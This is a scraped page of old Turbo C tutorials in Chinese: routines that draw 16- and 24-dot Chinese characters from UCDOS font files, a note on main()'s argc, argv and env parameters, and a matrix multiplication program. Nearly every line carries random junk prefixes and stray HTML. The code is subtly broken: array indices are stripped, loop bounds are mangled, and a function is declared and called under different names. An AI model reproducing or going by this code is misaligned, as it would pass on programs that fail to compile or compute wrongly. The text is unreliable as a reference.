5 L+ n. a# J/ ^% I2 y1 m& C- N( V  ?x=x+z+16;
}
0 L  P5 i  {8 W+ e) S}
% V* B% s2 w, Q+ Treturn(x);
}
" D$ u$ d3 y( ?& I6 A' o! j* \函数GetBit定义如下：
　　函数： int GetBit(unsigned char c,int n); 功能：取得汉字的点阵数据。
2 e! H8 Z) p+ S% [, f' Iint GetBit(unsigned char c,int n)
{
5 \0 m6 O  W: L8 n# breturn((c&gt;&gt;n)&amp;1);
+ {" T2 ?/ t2 w( d: M; ?" t}
汉字显示结束，应该关闭字库文件。
$ L0 \, W8 A, n- U9 ~( }void CloseHz(void)
{
close( handle );
}
$ z. \" ~2 `  \" Y/ F3 p2 ]#include "\Caic\Include\Hz.h"
* [  ]- p0 \2 S, R9 |#include <GRAPHICS.H>
#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
: s1 o1 B9 C3 C9 o7 Dconst char* HzStr = "苦丁香Ｃ语言辅助学习软件";
void main(){
+ G& t" z5 v+ H5 r: k0 s5 oint gr=DETECT,gm;
9 Q7 d$ b8 n- @initgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");
" H9 x1 c0 l  ?' ]. iOpenHz( Hz16Path );
Wrt16Hz(20,20,4,RED,HzStr);
CloseHz();
- q# O$ s3 k- p) h! e+ Tgetch();
closegraph();
: a1 c% a; c5 i+ z+ z}显示２４点阵及放大汉字
　　下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如ＵＣＤＯＳ的HZK24S。
函数： int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能：显示２４点阵及放大汉字。
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
8 B0 Q* q' i+ ~2 k) Q8 Q/ C" [{
! m9 E& P* [5 R) Y  Nunsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置（x,y）*/
long l; /*color:汉字颜色*/
char by[72]; /*m: x 方向的放大倍数*/
, I' h- k1 s0 k/ P+ D/*n: y 方向的放大倍数*/
if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
' j1 m6 N  l, Y" o0 u# lif(i&gt;0xa1)
; I1 w, R7 b+ {if(f==0){
; L, X+ m/ |5 s* B- ^; Dc1=(i-0xa1)&amp;0x7f;
f=1;
}
else{
# B* f' l9 [5 l% jc2=(i-0xa1)&amp;0x7f;
f=0;
: t2 W- ]1 K& i( nrec=(c1-15)*94+c2;
4 a! x; {( V. r# K, [# |& t/ M+ Cl=rec*72L;
lseek(handle,l,SEEK_SET);
; q5 p) V, E) B/ B& Cread(handle,by,72);
6 {0 {+ ?) n3 b! Zfor(i1=0;i1&lt;24*m;i1=i1+m)
" Q* [) a3 I9 z9 ]5 j( wfor(i4=0;i4<M;I4++)
% h8 N' z; U! {; ?# s for(i2=0;i2&lt;=2;i2++)
* @8 a) k  ^( G/ O* s5 vfor(i3=0;i3&lt;8;i3++)
: a5 ^8 U# [3 ], \' rif(GetBit(by[i1/m*3+i2],7-i3))
for(i5=0;i5<N;I5++)
putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
x=x+24*m+z;
}
}
return(x);
  ]9 ~4 @% ]3 k} 使用Wrt24Hz的例子：#include "\Caic\Include\Hz.h"
" X6 U! B3 f& J  J* M3 y#include <GRAPHICS.H>
% i+ T4 Z* l5 h#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
6 N! o5 r6 _1 A$ @/ B) g6 T* Hconst char* HzStr = "苦丁香Ｃ语言辅助学习软件";
! |2 C# j1 D0 ^* J6 u, yvoid main(){
4 Q, A% @( `$ u% E4 |3 ^5 kint gr=DETECT,gm;
initgraph(&amp;gr,gm,"\\Caic\\Bgi");
7 M( k+ |2 M$ a6 g( bOpenHz( Hz24Path );
Wrt24Hz(20,20, /*先是在（x,y）*/
4, /*汉字间的空格为4*/
$ \8 O% H# ]+ {% V9 aRED, /*用红色显示*/
2, /*x 方向放大２倍*/
4, /*y 方向放大４倍*/
% b  W/ P& O9 p* S& |HzStr); /*显示字符串*/
3 Y2 Q: n, K; Z- M6 [CloseHz();
3 {- k4 ~' v9 [; ~3 I0 w% ^getch();
) p2 Z$ r3 j* l" r+ _closegraph();
0 \$ ?  @3 I; r4 M}
& j) O! r( |' H9 E$ c6 u. l</P>

韩冰

<>　　再谈main()主函数
1 v- v: x$ L4 R  S3 M' A　　每一C 程序都必须有一main()函数，可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面，而另一些程序员把它放在最后面，无论放在哪个地方，以下几点说明都是适合的。
+ _4 o4 b* L6 {7 k0 ~, e1. main() 参数
7 d- E5 E0 ]- W  m　　在Turbo C2.0启动过程中，传递main()函数三个参数：argc，argv和env。
　　* argc: 整数，为传给main()的命令行参数个数。
　　* argv: 字符串数组。
# D& O, r" D4 a# q在DOS 3.X 版本中，argv[0] 为程序运行的全路径名；
( U( T; y. c. Z对DOS 3.0 以下的版本，argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串；argv[2] 为执行程序名后的第二个字符串；
...
# A2 w, a8 @. I6 I: K3 nargv[argc]为NULL。
　　*env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
) w1 v& ^1 r( X4 y0 f) x值如C:\DOS，C:\TURBOC(对于PATH) 或YES(对于87)。</P>

韩冰

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/
#include&lt;stdio.h&gt;
#include&lt;conio.h&gt;
; R2 g# ?# r4 T* |! ~' C/ a#define X 3
" F0 s& F8 ~1 l: [3 Z8 q0 p#define Y 3</P><>int a[X][Y];
int b[X][Y];
int c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);
main()
& y. z( I5 I. W& q{
- W& f! Z+ W% q, o9 mint i,j,temp;
; }& S3 I  W+ L- I% X" ^clrscr();
printf("lease input int matrix b[%d][%d]\n",X,Y);
' s1 b  |+ m: G9 p4 cfor(i=0;i&lt;Y;i++)
for(j=0;j&lt;Y;j++){
scanf("%d",&amp;temp);
8 L0 z0 @9 r4 v1 W% Fb[j]=temp;
}
printf("lease input int matrix c[%d][%d]\n",X,Y);
$ e6 H# J! v8 e* Rfor(i=0;i&lt;X;i++)
$ {6 A- a( k1 z& }8 ffor(j=0;j&lt;Y;j++){
  b! Z6 w7 d5 I4 F0 \0 tscanf("%d",&amp;temp);
c[j]=temp;
, i6 K$ X; Y4 L( C+ ~}
& B+ t4 T8 [* n- _* W. ~. tmatrix(b,c);
& C- `1 h- d, ?/ a" vprintf("Now print resource matrix b[%d][%d]=",X,Y);
0 w2 w2 b. v9 J! A% E$ Rfor(i=0;i&lt;X;i++){
7 t+ N( ~* b- r% k7 N# Xprintf("\n");
for(j=0;j&lt;Y;j++)
5 n0 O0 j$ m& z$ d; R4 tprintf("%d ",b[j]);
4 P1 ^  E" F3 o. y3 |" x/ s}
printf("\n");
% _! a; _- D, M8 @9 O% lprintf("Now print resource matrix c[%d][%d]=",X,Y);
for(i=0;i&lt;X;i++){
printf("\n");
for(j=0;j&lt;Y;j++)
printf("%d ",c[j]);
3 k9 U# T# v) t, x8 V' d: G}
+ Y' s4 S. x, Z' s- F- [printf("\n");
printf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);
for(i=0;i&lt;X;i++){
8 f; F3 ^; o) I8 m9 Cprintf("\n");
7 w. I' `, k& \, N" jfor(j=0;j&lt;Y;j++)
3 y* w2 ]! o% t5 S8 [0 l( f5 Z$ gprintf("%d ",a[j]);
! R* `2 k  S: S& X8 l3 u% Z}
7 n6 Y" i, i: f: j  D: sgetch();
return 0;
  {. E9 ^2 ?' Q+ g- I- G}
/********************************************************************/
2 _" o$ \5 a- B: l. t$ s( |void matrix(int b[][X],int c[][Y])
" h9 n1 ?* e: w$ I7 E8 y8 x7 V% Q{
0 }) _3 ], ?# \" j+ Vint i,j,k,temp;
for(i=0;i&lt;X;i++)
% \6 ^& L) B2 Z0 U4 m* ]$ gfor(j=0;j&lt;Y;j++){
for(k=0;k&lt;Y;k++)
a[j]+=b[k]*c[k][j];
/ ]: z2 o8 x( q}
6 d4 v8 H8 k* r1 N/ ]# f& i# d}</P>